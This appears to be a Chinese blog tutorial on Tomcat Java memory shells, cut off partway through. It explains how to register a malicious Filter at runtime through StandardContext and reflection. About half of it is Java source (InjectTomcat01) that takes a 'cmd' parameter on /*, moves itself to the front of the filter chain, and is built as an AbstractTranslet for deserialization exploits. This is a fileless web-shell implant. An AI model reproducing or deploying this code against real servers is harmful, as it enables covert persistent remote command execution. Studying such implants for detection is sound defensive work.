Java内存马总体有Servlet/Filter/Listern/Java-Agent四种,前三种思路都差不多,通过不同方式获取到ApplicationContext/servletContext/StandardContext
等对象,然后往ApplicationContext/servletContext/StandardContext
注入恶意的Servlet/Filter/Listern,这里通过注入 Filter实现内存马。
实现一
通过Thread.currentThread().getContextClassLoader().getResources().getContext().getServletContext()
方法获取到ServletContext
。
通过ServletContext#addFilter
添加Filter,ServletContext#addFilter
调用的是ApplicationContext#addFilter
方法。
如果LifecycleState
的state
属性值不等于LifecycleState.STARTING_PREP
值则抛出错误,需要反射修改属性值,修改之后要重新修改回来否则服务器会崩,把传参进来的filter/filterName/filterClass
放进filterDef/context
里面然后封装进ApplicationFilterRegistration
对象,看一下这个对象的构造方法就知道其实是封装进对象的属性中。
通过addFilter
方法把filterName/filterClass/filter
等信息封装进了this.context.filterDefs
中,也就是StandardContext.filterDefs
中,还需要调用FilterRegistration#addMappingForUrlPatterns
方法添加FilterMap
,实际调用其实现类的方法即ApplicationFilterRegistration#addMappingForUrlPatterns
StandardContext#filterStart
方法遍历filterDefs
把其加入到filterConfigs
中,在前面addFilter
方法中已经把需要添加的Filter封装进filterDefs
中了,那么只需要调用StandardContext#filterStart
方法即可真正的添加上Filter了。
当然通过反射进行添加Filter也是可以的,比如前面分析Filter注册使用流程时用JSP写的马就是反射添加进去的。(https://blog.csdn.net/qq_53264525/article/details/122262189?spm=1001.2014.3001.5502
package com.Jasetol.Torjans;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Map;
public class InjectTomcat01 extends AbstractTranslet implements Filter{
private static String filterName = "k";
private static String param = "cmd";
private static String filterUrlPattern = "/*";
static {
try{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field filterConfigs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map map = (Map) filterConfigs.get(standardContext);
if (map.get(filterName) == null && standardContext != null){
Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
FilterRegistration.Dynamic filter = servletContext.addFilter(filterName, new InjectTomcat01());
filter.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{
filterUrlPattern});
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("filterStart");
filterStart.invoke(standardContext,null);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0 ; i < filterMaps.length ; i++){
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){
FilterMap filterMap = filterMaps[0];
filterMaps[0] = filterMaps[i];
filterMaps[i] = filterMap;
}
}
stateField.set(standardContext,LifecycleState.STARTED);
}
}catch (Exception e){
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws